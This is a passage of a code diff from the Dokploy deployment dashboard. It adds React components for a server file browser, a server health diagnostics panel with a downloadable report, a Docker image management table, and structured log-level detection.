+											<button
+												type="button"
+												className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
+												onClick={() =>
+													entry.isDirectory
+														? navigate(entryPath)
+														: setSelectedFile(entryPath)
+												}
+											>
+												{entry.isDirectory ? (
+													<Folder className="size-4 shrink-0 text-muted-foreground" />
+												) : (
+													<File className="size-4 shrink-0 text-muted-foreground" />
+												)}
+												<span className="truncate">{entry.name}</span>
+											</button>
+											<DialogAction
+												title={`Delete ${entry.name}?`}
+												description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
+												onClick={() => deleteEntry(entryPath)}
+											>
+												<Button
+													variant="ghost"
+													size="icon"
+													className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
+													isLoading={isDeleting}
+												>
+													<Trash2 className="size-3.5 text-destructive" />
+												</Button>
+											</DialogAction>
+										</div>
+									);
+								})}
+							</div>
+						)}
+					</div>
+
+					<div className="flex-1 min-w-0 flex flex-col gap-2">
+						{!selectedFile ? (
+							<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
+								Select a file to view or edit it
+							</div>
+						) : isLoadingFile ? (
+							<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : fileError ? (
+							<AlertBlock type="error">{fileError.message}</AlertBlock>
+						) : (
+							<>
+								<div className="flex items-center gap-2">
+									<span className="text-sm font-mono truncate text-muted-foreground">
+										{selectedFile}
+									</span>
+									<div className="ml-auto flex items-center gap-2">
+										<Button variant="outline" size="sm" onClick={downloadFile}>
+											<Download className="size-4" />
+											Download
+										</Button>
+										<Button
+											size="sm"
+											isLoading={isSaving}
+											disabled={isBinary || file?.truncated}
+											onClick={saveFile}
+										>
+											Save
+										</Button>
+									</div>
+								</div>
+								{file?.truncated ? (
+									<AlertBlock type="warning">
+										This file is larger than 512KB. Showing a truncated preview;
+										editing is disabled. Use Download to get the truncated
+										content or the terminal for full access.
+									</AlertBlock>
+								) : isBinary ? (
+									<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
+										Binary file — use Download instead
+									</div>
+								) : (
+									<div className="flex-1 overflow-auto rounded-lg border">
+										<CodeEditor
+											lineWrapping
+											value={editorContent}
+											onChange={(value) => setEditorContent(value)}
+											wrapperClassName="h-full font-mono"
+										/>
+									</div>
+								)}
+							</>
+						)}
+					</div>
+				</div>
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/docker/health/show-health.tsx

@@ -0,0 +1,454 @@
+import {
+	AlertTriangle,
+	Cpu,
+	Download,
+	HardDrive,
+	Loader2,
+	Network,
+	RefreshCw,
+	Server as ServerIcon,
+} from "lucide-react";
+import { useState } from "react";
+import { CodeEditor } from "@/components/shared/code-editor";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import { Card } from "@/components/ui/card";
+import { Progress } from "@/components/ui/progress";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import { api } from "@/utils/api";
+
+interface Props {
+	serverId?: string;
+}
+
+const bytesToGb = (bytes: number) => (bytes / 1024 ** 3).toFixed(1);
+const nanoCpusToCores = (nanoCpus: number) => (nanoCpus / 1e9).toFixed(2);
+const pct = (used: number, total: number) =>
+	Math.min(100, Math.round((used / (total || 1)) * 100));
+
+const SINCE_HOURS_OPTIONS = [
+	{ label: "Last hour", value: 1 },
+	{ label: "Last 6 hours", value: 6 },
+	{ label: "Last 24 hours", value: 24 },
+	{ label: "Last 7 days", value: 168 },
+];
+
+export const ShowHealth = ({ serverId }: Props) => {
+	const [sinceHours, setSinceHours] = useState(24);
+	const {
+		data: health,
+		isFetching,
+		refetch,
+		isFetched,
+	} = api.docker.getServerHealth.useQuery(
+		{ serverId, sinceHours },
+		{ refetchOnMount: false, refetchOnWindowFocus: false },
+	);
+
+	const memUsedPct = health
+		? pct(health.resources.memUsedBytes, health.resources.memTotalBytes)
+		: 0;
+	const diskUsedPct = health
+		? pct(health.disk.usedBytes, health.disk.totalBytes)
+		: 0;
+	const inotifyUsedPct = health
+		? pct(health.inotify.currentInstances, health.inotify.maxInstances)
+		: 0;
+
+	const daemonLogsWindowText = health?.daemonLogsWindow
+		? `Logs from ${new Date(health.daemonLogsWindow.fromEpoch * 1000).toLocaleString()} to ${new Date(health.daemonLogsWindow.toEpoch * 1000).toLocaleString()}`
+		: null;
+	const daemonErrorsText = [
+		daemonLogsWindowText,
+		health && health.daemonErrors.length > 0
+			? health.daemonErrors.join("\n")
+			: "(no daemon errors matched in this window)",
+	]
+		.filter(Boolean)
+		.join("\n\n");
+
+	const buildHealthReport = () => {
+		if (!health) return "";
+		const lines: string[] = [];
+		lines.push("# Dokploy server health report");
+		lines.push(`Generated: ${new Date(health.checkedAt).toLocaleString()}`);
+		lines.push(
+			`Window: ${SINCE_HOURS_OPTIONS.find((o) => o.value === sinceHours)?.label ?? `${sinceHours}h`}`,
+		);
+		lines.push("");
+
+		lines.push("## Containers & services");
+		lines.push(`Containers: ${health.containers.containerCount}`);
+		lines.push(`Swarm services: ${health.containers.serviceCount}`);
+		lines.push("");
+
+		lines.push("## Host resources");
+		lines.push(
+			`Memory: ${bytesToGb(health.resources.memUsedBytes)} / ${bytesToGb(health.resources.memTotalBytes)} GB`,
+		);
+		lines.push(`CPU cores: ${health.resources.cpuCount}`);
+		lines.push("");
+
+		lines.push("## Disk (/)");
+		lines.push(
+			`${bytesToGb(health.disk.usedBytes)} / ${bytesToGb(health.disk.totalBytes)} GB`,
+		);
+		lines.push("");
+
+		lines.push("## Inotify");
+		lines.push(
+			`max_user_instances: ${health.inotify.currentInstances} / ${health.inotify.maxInstances}`,
+		);
+		lines.push(`max_user_watches: ${health.inotify.maxWatches}`);
+		lines.push(`max_queued_events: ${health.inotify.maxQueuedEvents}`);
+		lines.push(
+			`Persisted in sysctl: ${health.inotify.persisted ? "yes" : "no"}`,
+		);
+		lines.push("");
+
+		lines.push("## Docker networks");
+		lines.push(`Total networks: ${health.dockerNetworks.count}`);
+		if (health.dockerNetworks.addressPools) {
+			lines.push(
+				`default-address-pools: ${JSON.stringify(health.dockerNetworks.addressPools)}`,
+			);
+		}
+		if (health.dockerNetworks.usageError) {
+			lines.push(
+				`Could not read network IP usage: ${health.dockerNetworks.usageError}`,
+			);
+		} else if (health.dockerNetworks.usage.length > 0) {
+			lines.push("");
+			lines.push(
+				"| Network | Driver | Subnet | IPs in use | Capacity | Usage |",
+			);
+			lines.push("|---|---|---|---|---|---|");
+			for (const n of health.dockerNetworks.usage) {
+				lines.push(
+					`| ${n.name} | ${n.driver} | ${n.subnet ?? "auto"} | ${n.containersInUse} | ${n.capacity ?? "—"} | ${n.percentUsed ?? "—"}% |`,
+				);
+			}
+		}
+		lines.push("");
+
+		if (health.reservation) {
+			lines.push("## Memory/CPU reservation");
+			lines.push(
+				`Reserved memory: ${bytesToGb(health.reservation.memoryReservedBytes)} GB`,
+			);
+			lines.push(
+				`Reserved CPU: ${nanoCpusToCores(health.reservation.cpuReservedNanoCpus)} cores`,
+			);
+			lines.push(`Across ${health.reservation.appCount} Application services`);
+			if (health.reservation.unsupportedComposeCount > 0) {
+				lines.push(
+					`${health.reservation.unsupportedComposeCount} Compose service(s) not included (not tracked per-service)`,
+				);
+			}
+			lines.push("");
+		}
+
+		lines.push("## Docker daemon errors (raw)");
+		lines.push("```");
+		lines.push(daemonErrorsText);
+		lines.push("```");
+
+		return lines.join("\n");
+	};
+
+	const handleDownload = () => {
+		const report = buildHealthReport();
+		if (!report) return;
+		const blob = new Blob([report], { type: "text/markdown" });
+		const url = URL.createObjectURL(blob);
+		const a = document.createElement("a");
+		a.href = url;
+		a.download = `dokploy-health-report-${new Date().toISOString().replace(/[:.]/g, "-")}.md`;
+		a.click();
+		URL.revokeObjectURL(url);
+	};
+
+	return (
+		<div className="flex flex-col gap-4 w-full">
+			<Card className="bg-sidebar p-2.5 rounded-xl w-full">
+				<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
+					<div className="flex items-center justify-between gap-4 flex-wrap">
+						<div>
+							<h3 className="text-lg font-medium">Server diagnostics</h3>
+							<p className="text-sm text-muted-foreground max-w-xl">
+								Runs a read-only check over SSH (inotify limits, disk, Docker
+								network pool, daemon errors). Runs automatically when you open
+								this tab — click Re-check to refresh.
+							</p>
+						</div>
+						<div className="flex items-center gap-2">
+							<Select
+								value={String(sinceHours)}
+								onValueChange={(v) => setSinceHours(Number(v))}
+							>
+								<SelectTrigger className="w-[160px]">
+									<SelectValue />
+								</SelectTrigger>
+								<SelectContent>
+									{SINCE_HOURS_OPTIONS.map((opt) => (
+										<SelectItem key={opt.value} value={String(opt.value)}>
+											{opt.label}
+										</SelectItem>
+									))}
+								</SelectContent>
+							</Select>
+							<Button onClick={() => refetch()} disabled={isFetching}>
+								{isFetching ? (
+									<Loader2 className="size-4 animate-spin mr-2" />
+								) : (
+									<RefreshCw className="size-4 mr-2" />
+								)}
+								{isFetched ? "Re-check" : "Check server health"}
+							</Button>
+							{health && !health.error && (
+								<Button variant="outline" onClick={handleDownload}>
+									<Download className="size-4 mr-2" />
+									Download report
+								</Button>
+							)}
+						</div>
+					</div>
+
+					{isFetching && !health && (
+						<div className="flex flex-col items-center justify-center gap-2 py-12 text-muted-foreground border border-dashed rounded-xl">
+							<Loader2 className="size-8 animate-spin" />
+							<span>Checking server health…</span>
+						</div>
+					)}
+
+					{health?.error && (
+						<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
+							Couldn't read server health: {health.error}
+						</div>
+					)}
+
+					{health && !health.error && (
+						<div
+							className={`grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4 transition-opacity ${isFetching ? "opacity-50" : ""}`}
+						>
+							<Card className="p-4">
+								<div className="flex items-center gap-2 text-sm font-medium mb-2">
+									<ServerIcon className="size-4 text-muted-foreground" />
+									Containers &amp; services
+								</div>
+								<div className="text-2xl font-semibold">
+									{health.containers.containerCount}
+								</div>
+								<div className="text-xs text-muted-foreground">
+									containers · {health.containers.serviceCount} swarm services
+								</div>
+							</Card>
+
+							<Card className="p-4">
+								<div className="flex items-center gap-2 text-sm font-medium mb-2">
+									<Cpu className="size-4 text-muted-foreground" />
+									Host resources
+								</div>
+								<div className="text-sm">
+									Memory: {bytesToGb(health.resources.memUsedBytes)} /{" "}
+									{bytesToGb(health.resources.memTotalBytes)} GB
+								</div>
+								<Progress value={memUsedPct} className="h-2 mt-1" />
+								<div className="text-xs text-muted-foreground mt-2">
+									{health.resources.cpuCount} CPU cores
+								</div>
+							</Card>
+
+							<Card className="p-4">
+								<div className="flex items-center gap-2 text-sm font-medium mb-2">
+									<HardDrive className="size-4 text-muted-foreground" />
+									Disk (/)
+								</div>
+								<div className="text-sm">
+									{bytesToGb(health.disk.usedBytes)} /{" "}
+									{bytesToGb(health.disk.totalBytes)} GB
+								</div>
+								<Progress value={diskUsedPct} className="h-2 mt-1" />
+							</Card>
+
+							<Card className="p-4">
+								<div className="flex items-center justify-between gap-2 text-sm font-medium mb-2">
+									<span className="flex items-center gap-2">
+										<AlertTriangle className="size-4 text-muted-foreground" />
+										Inotify
+									</span>
+									<Badge
+										variant={health.inotify.persisted ? "default" : "secondary"}
+									>
+										{health.inotify.persisted ? "persisted" : "runtime only"}
+									</Badge>
+								</div>
+								<div className="text-sm">
+									max_user_instances: {health.inotify.currentInstances} /{" "}
+									{health.inotify.maxInstances.toLocaleString()} (
+									{inotifyUsedPct}%)
+								</div>
+								<Progress value={inotifyUsedPct} className="h-2 mt-1" />
+								<div className="text-xs text-muted-foreground mt-2">
+									max_user_watches: {health.inotify.maxWatches.toLocaleString()}{" "}
+									· max_queued_events:{" "}
+									{health.inotify.maxQueuedEvents.toLocaleString()}
+								</div>
+							</Card>
+
+							<Card className="p-4">
+								<div className="flex items-center gap-2 text-sm font-medium mb-2">
+									<Network className="size-4 text-muted-foreground" />
+									Docker networks
+								</div>
+								<div className="text-2xl font-semibold">
+									{health.dockerNetworks.count}
+								</div>
+								<div className="text-xs text-muted-foreground">
+									The default Docker address pool is exhausted around ~30
+									networks unless <code>default-address-pools</code> is
+									configured in <code>/etc/docker/daemon.json</code>.
+									{health.dockerNetworks.addressPools
+										? " Custom pool detected on this server."
+										: ""}
+								</div>
+							</Card>
+
+							{health.reservation && (
+								<Card className="p-4">
+									<div className="flex items-center gap-2 text-sm font-medium mb-2">
+										<Cpu className="size-4 text-muted-foreground" />
+										Memory/CPU reservation
+									</div>
+									<div className="text-sm">
+										{bytesToGb(health.reservation.memoryReservedBytes)} GB
+										reserved ·{" "}
+										{nanoCpusToCores(health.reservation.cpuReservedNanoCpus)}{" "}
+										CPUs reserved
+									</div>
+									<div className="text-xs text-muted-foreground mt-2">
+										Across {health.reservation.appCount} Application services.
+										{health.reservation.unsupportedComposeCount > 0
+											? ` ${health.reservation.unsupportedComposeCount} Compose service(s) on this server aren't included — reservations aren't tracked per-service for Compose.`
+											: ""}
+									</div>
+								</Card>
+							)}
+						</div>
+					)}
+
+					{health &&
+						!health.error &&
+						(health.dockerNetworks.usage.length > 0 ||
+							health.dockerNetworks.usageError) && (
+							<div className="flex flex-col gap-2">
+								<h4 className="text-sm font-medium flex items-center gap-2">
+									<Network className="size-4 text-muted-foreground" />
+									Network IP usage
+								</h4>
+								<p className="text-xs text-muted-foreground">
+									IPs assigned to containers vs. the subnet's usable capacity,
+									per network — including reserved networks like{" "}
+									<code>dokploy-network</code>. A network stuck near 100% blocks
+									new containers from starting even when the host has plenty of
+									other resources free.
+								</p>
+								{health.dockerNetworks.usageError ? (
+									<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
+										Couldn't read network IP usage:{" "}
+										{health.dockerNetworks.usageError}
+									</div>
+								) : (
+									<div className="rounded-lg border overflow-x-auto">
+										<Table>
+											<TableHeader>
+												<TableRow>
+													<TableHead>Network</TableHead>
+													<TableHead>Driver</TableHead>
+													<TableHead>Subnet</TableHead>
+													<TableHead>IPs in use</TableHead>
+													<TableHead>Usage</TableHead>
+												</TableRow>
+											</TableHeader>
+											<TableBody>
+												{health.dockerNetworks.usage.map((n) => (
+													<TableRow key={n.name}>
+														<TableCell className="font-medium">
+															{n.name}
+														</TableCell>
+														<TableCell className="text-muted-foreground">
+															{n.driver}
+														</TableCell>
+														<TableCell className="text-muted-foreground">
+															{n.subnet ?? "Auto"}
+														</TableCell>
+														<TableCell className="text-muted-foreground">
+															{n.capacity !== null
+																? `${n.containersInUse} / ${n.capacity}`
+																: n.containersInUse}
+														</TableCell>
+														<TableCell>
+															{n.percentUsed !== null ? (
+																<Badge
+																	variant={
+																		n.percentUsed >= 90
+																			? "red"
+																			: n.percentUsed >= 70
+																				? "yellow"
+																				: "green"
+																	}
+																>
+																	{n.percentUsed}%
+																</Badge>
+															) : (
+																<span className="text-muted-foreground text-xs">
+																	—
+																</span>
+															)}
+														</TableCell>
+													</TableRow>
+												))}
+											</TableBody>
+										</Table>
+									</div>
+								)}
+							</div>
+						)}
+
+					{health && !health.error && (
+						<div className="flex flex-col gap-2">
+							<h4 className="text-sm font-medium">
+								Docker daemon errors (
+								{SINCE_HOURS_OPTIONS.find(
+									(o) => o.value === sinceHours,
+								)?.label.toLowerCase()}
+								)
+							</h4>
+							<CodeEditor
+								value={daemonErrorsText}
+								language="shell"
+								disabled
+								lineWrapping
+								wrapperClassName="h-64 rounded-lg border"
+							/>
+						</div>
+					)}
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/docker/images/show-images.tsx

@@ -0,0 +1,470 @@
+"use client";
+
+import {
+	type ColumnDef,
+	flexRender,
+	getCoreRowModel,
+	getPaginationRowModel,
+	getSortedRowModel,
+	type PaginationState,
+	type SortingState,
+	useReactTable,
+} from "@tanstack/react-table";
+import type { inferRouterOutputs } from "@trpc/server";
+import { ArrowUpDown, Eye, Layers, Loader2, Trash2 } from "lucide-react";
+import { useMemo, useState } from "react";
+import { toast } from "sonner";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { CodeEditor } from "@/components/shared/code-editor";
+import { DialogAction } from "@/components/shared/dialog-action";
+import {
+	AlertDialog,
+	AlertDialogAction,
+	AlertDialogCancel,
+	AlertDialogContent,
+	AlertDialogDescription,
+	AlertDialogFooter,
+	AlertDialogHeader,
+	AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import {
+	Card,
+	CardContent,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { Input } from "@/components/ui/input";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import type { AppRouter } from "@/server/api/root";
+import { api } from "@/utils/api";
+
+type ImageBase =
+	inferRouterOutputs<AppRouter>["dockerImage"]["getImages"][number];
+type ImageRow = ImageBase & { key: string };
+
+interface Props {
+	serverId?: string;
+}
+
+const SIZE_UNITS: Record<string, number> = {
+	b: 1,
+	kb: 1e3,
+	mb: 1e6,
+	gb: 1e9,
+	tb: 1e12,
+};
+
+const parseSize = (size?: string) => {
+	if (!size) return -1;
+	const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
+	if (!match?.[1] || !match[2]) return -1;
+	return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
+};
+
+const getReference = (image: ImageBase) =>
+	image.Repository !== "<none>" && image.Tag !== "<none>"
+		? `${image.Repository}:${image.Tag}`
+		: image.ID;
+
+const FORCE_HINT_REGEX =
+	/must be forced|image is being used|referenced in multiple repositories/i;
+
+const SortableHeader = ({
+	column,
+	title,
+}: {
+	column: {
+		getIsSorted: () => false | "asc" | "desc";
+		toggleSorting: (asc: boolean) => void;
+	};
+	title: string;
+}) => (
+	<Button
+		variant="ghost"
+		className="-ml-3 h-8"
+		onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
+	>
+		{title}
+		<ArrowUpDown className="ml-2 size-4" />
+	</Button>
+);
+
+const ShowImageConfig = ({
+	imageRef,
+	serverId,
+}: {
+	imageRef: string;
+	serverId?: string;
+}) => {
+	const [open, setOpen] = useState(false);
+	const { data, isLoading, error } = api.dockerImage.getImageConfig.useQuery(
+		{ imageRef, serverId },
+		{ enabled: open },
+	);
+
+	return (
+		<Dialog open={open} onOpenChange={setOpen}>
+			<DialogTrigger asChild>
+				<Button variant="ghost" size="icon-sm" aria-label="View image config">
+					<Eye className="size-4" />
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
+				<DialogHeader>
+					<DialogTitle>Image Config</DialogTitle>
+					<DialogDescription>
+						docker image inspect output for "{imageRef}"
+					</DialogDescription>
+				</DialogHeader>
+				{error ? (
+					<AlertBlock type="error">{error.message}</AlertBlock>
+				) : isLoading ? (
+					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
+						<span>Loading...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				) : (
+					<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
+						<code>
+							<pre className="whitespace-pre-wrap wrap-break-word">
+								<CodeEditor
+									language="json"
+									lineWrapping
+									lineNumbers={false}
+									readOnly
+									value={JSON.stringify(data, null, 2)}
+								/>
+							</pre>
+						</code>
+					</div>
+				)}
+			</DialogContent>
+		</Dialog>
+	);
+};
+
+export const ShowImages = ({ serverId }: Props) => {
+	const utils = api.useUtils();
+	const [sorting, setSorting] = useState<SortingState>([
+		{ id: "Repository", desc: false },
+	]);
+	const [globalFilter, setGlobalFilter] = useState("");
+	const [pagination, setPagination] = useState<PaginationState>({
+		pageIndex: 0,
+		pageSize: 10,
+	});
+	const [forcePrompt, setForcePrompt] = useState<{
+		image: ImageRow;
+		message: string;
+	} | null>(null);
+
+	const { data: images, isLoading } = api.dockerImage.getImages.useQuery({
+		serverId,
+	});
+	const { mutateAsync: removeImage } =
+		api.dockerImage.removeImage.useMutation();
+
+	const rows = useMemo<ImageRow[]>(
+		() =>
+			(images ?? []).map((image) => ({
+				...image,
+				key: `${image.ID}-${image.Repository}-${image.Tag}`,
+			})),
+		[images],
+	);
+
+	const filteredData = useMemo(() => {
+		if (!globalFilter.trim()) {
+			return rows;
+		}
+		const query = globalFilter.toLowerCase();
+		return rows.filter(
+			(image) =>
+				image.Repository.toLowerCase().includes(query) ||
+				image.Tag.toLowerCase().includes(query) ||
+				image.ID.toLowerCase().includes(query),
+		);
+	}, [rows, globalFilter]);
+
+	const handleDelete = async (image: ImageRow, force = false) => {
+		try {
+			await removeImage({
+				repository: image.Repository,
+				tag: image.Tag,
+				id: image.ID,
+				force,
+				serverId,
+			});
+			toast.success("Image deleted");
+			setForcePrompt(null);
+			await utils.dockerImage.getImages.invalidate();
+		} catch (error) {
+			const message = error instanceof Error ? error.message : "Unknown error";
+			if (!force && FORCE_HINT_REGEX.test(message)) {
+				setForcePrompt({ image, message });
+			} else {
+				toast.error("Error deleting image", { description: message });
+			}
+		}
+	};
+
+	const columns = useMemo<ColumnDef<ImageRow>[]>(
+		() => [
+			{
+				accessorKey: "Repository",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Repository" />
+				),
+				cell: ({ row }) => (
+					<div
+						className="max-w-[280px] truncate font-medium"
+						title={row.original.Repository}
+					>
+						{row.original.Repository}
+					</div>
+				),
+			},
+			{
+				accessorKey: "Tag",
+				header: ({ column }) => <SortableHeader column={column} title="Tag" />,
+				cell: ({ row }) => <Badge variant="outline">{row.original.Tag}</Badge>,
+			},
+			{
+				accessorKey: "ID",
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Image ID" />
+				),
+				cell: ({ row }) => (
+					<span className="font-mono text-xs text-muted-foreground">
+						{row.original.ID}
+					</span>
+				),
+			},
+			{
+				id: "Size",
+				accessorFn: (image) => parseSize(image.Size),
+				header: ({ column }) => <SortableHeader column={column} title="Size" />,
+				cell: ({ row }) => (
+					<span className="text-muted-foreground">{row.original.Size}</span>
+				),
+			},
+			{
+				id: "Created",
+				accessorFn: (image) => new Date(image.CreatedAt).getTime() || 0,
+				header: ({ column }) => (
+					<SortableHeader column={column} title="Created" />
+				),
+				cell: ({ row }) => (
+					<span className="text-muted-foreground whitespace-nowrap">
+						{row.original.CreatedSince}
+					</span>
+				),
+			},
+			{
+				id: "actions",
+				enableSorting: false,
+				header: () => <div className="text-right">Actions</div>,
+				cell: ({ row }) => (
+					<div className="flex items-center justify-end gap-3">
+						<ShowImageConfig
+							imageRef={getReference(row.original)}
+							serverId={serverId}
+						/>
+						<DialogAction
+							title="Delete image"
+							description={`The image "${getReference(row.original)}" will be removed from Docker. This action cannot be undone.`}
+							onClick={() => handleDelete(row.original)}
+						>
+							<Button variant="ghost" size="icon-sm" aria-label="Delete image">
+								<Trash2 className="size-4 text-destructive" />
+							</Button>
+						</DialogAction>
+					</div>
+				),
+			},
+		],
+		[serverId],
+	);
+
+	const table = useReactTable({
+		data: filteredData,
+		columns,
+		getRowId: (row) => row.key,
+		state: {
+			sorting,
+			pagination,
+		},
+		onSortingChange: setSorting,
+		onPaginationChange: setPagination,
+		getCoreRowModel: getCoreRowModel(),
+		getSortedRowModel: getSortedRowModel(),
+		getPaginationRowModel: getPaginationRowModel(),
+	});
+
+	return (
+		<div className="w-full">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl">
+				<div className="rounded-xl bg-background shadow-md ">
+					<CardHeader className="">
+						<CardTitle className="text-xl flex flex-row gap-2">
+							<Layers className="size-6 text-muted-foreground self-center" />
+							Images
+						</CardTitle>
+						<CardDescription>
+							Manage the Docker images of the selected server.
+						</CardDescription>
+					</CardHeader>
+
+					<CardContent className="space-y-4 py-8 border-t">
+						{isLoading ? (
+							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : !images?.length ? (
+							<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
+								<div className="rounded-full bg-muted p-4">
+									<Layers className="size-10 text-muted-foreground" />
+								</div>
+								<div className="space-y-1 text-center">
+									<p className="text-sm font-medium">No images found</p>
+									<p className="max-w-sm text-sm text-muted-foreground">
+										Docker images pulled or built on this server will appear
+										here.
+									</p>
+								</div>
+							</div>
+						) : (
+							<>
+								<div className="flex flex-wrap items-center gap-2">
+									<Input
+										placeholder="Search by repository, tag or id..."
+										value={globalFilter}
+										onChange={(e) => setGlobalFilter(e.target.value)}
+										className="max-w-xs"
+									/>
+								</div>
+								<div className="rounded-md border overflow-x-auto">
+									<Table>
+										<TableHeader>
+											{table.getHeaderGroups().map((headerGroup) => (
+												<TableRow key={headerGroup.id}>
+													{headerGroup.headers.map((header) => (
+														<TableHead key={header.id}>
+															{header.isPlaceholder
+																? null
+																: flexRender(
+																		header.column.columnDef.header,
+																		header.getContext(),
+																	)}
+														</TableHead>
+													))}
+												</TableRow>
+											))}
+										</TableHeader>
+										<TableBody>
+											{table.getRowModel().rows?.length ? (
+												table.getRowModel().rows.map((row) => (
+													<TableRow key={row.id}>
+														{row.getVisibleCells().map((cell) => (
+															<TableCell key={cell.id}>
+																{flexRender(
+																	cell.column.columnDef.cell,
+																	cell.getContext(),
+																)}
+															</TableCell>
+														))}
+													</TableRow>
+												))
+											) : (
+												<TableRow>
+													<TableCell
+														colSpan={columns.length}
+														className="h-24 text-center text-muted-foreground"
+													>
+														No images match your filters.
+													</TableCell>
+												</TableRow>
+											)}
+										</TableBody>
+									</Table>
+								</div>
+								{table.getPageCount() > 1 && (
+									<div className="flex items-center justify-end gap-4">
+										<span className="text-sm text-muted-foreground">
+											Page {table.getState().pagination.pageIndex + 1} of{" "}
+											{table.getPageCount()}
+										</span>
+										<div className="flex gap-2">
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.previousPage()}
+												disabled={!table.getCanPreviousPage()}
+											>
+												Previous
+											</Button>
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.nextPage()}
+												disabled={!table.getCanNextPage()}
+											>
+												Next
+											</Button>
+										</div>
+									</div>
+								)}
+							</>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+			<AlertDialog
+				open={!!forcePrompt}
+				onOpenChange={(open) => !open && setForcePrompt(null)}
+			>
+				<AlertDialogContent>
+					<AlertDialogHeader>
+						<AlertDialogTitle>Image is in use</AlertDialogTitle>
+						<AlertDialogDescription>
+							{forcePrompt?.message} Do you want to force the deletion? This may
+							affect containers still using this image.
+						</AlertDialogDescription>
+					</AlertDialogHeader>
+					<AlertDialogFooter>
+						<AlertDialogCancel onClick={() => setForcePrompt(null)}>
+							Cancel
+						</AlertDialogCancel>
+						<AlertDialogAction
+							variant="destructive"
+							onClick={() =>
+								forcePrompt && handleDelete(forcePrompt.image, true)
+							}
+						>
+							Force delete
+						</AlertDialogAction>
+					</AlertDialogFooter>
+				</AlertDialogContent>
+			</AlertDialog>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/docker/logs/utils.ts

@@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
 		.filter((log) => log !== null);
 }
 
+const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
+	trace: "debug",
+	debug: "debug",
+	info: "info",
+	information: "info",
+	notice: "info",
+	warn: "warning",
+	warning: "warning",
+	error: "error",
+	err: "error",
+	fatal: "error",
+	critical: "error",
+	panic: "error",
+	alert: "error",
+	emergency: "error",
+};
+
+const numericLevelToType = (level: number): LogType => {
+	// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
+	if (level >= 50) return "error";
+	if (level >= 40) return "warning";
+	if (level >= 30) return "info";
+	if (level >= 10) return "debug";
+	// syslog/GELF scale: 0=emergency ... 7=debug
+	if (level <= 3) return "error";
+	if (level === 4) return "warning";
+	if (level <= 6) return "info";
+	return "debug";
+};
+
+// Extract the log level explicitly declared by structured loggers
+// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
+const getExplicitLevelType = (message: string): LogType | null => {
+	// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
+	const jsonStringMatch = message.match(
+		/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
+	);
+	if (jsonStringMatch?.[1]) {
+		return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
+	}
+
+	// JSON numeric levels: {"level":50}
+	const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
+	if (jsonNumericMatch?.[1]) {
+		return numericLevelToType(Number(jsonNumericMatch[1]));
+	}
+
+	// logfmt: level=error
+	const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
+	if (logfmtMatch?.[1]) {
+		return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
+	}
+
+	return null;
+};
+
 // Detect log type based on message content
 export const getLogType = (message: string): LogStyle => {
+	// A level explicitly declared by the logger wins over any inference
+	const explicitType = getExplicitLevelType(message);
+	if (explicitType) return LOG_STYLES[explicitType];
+
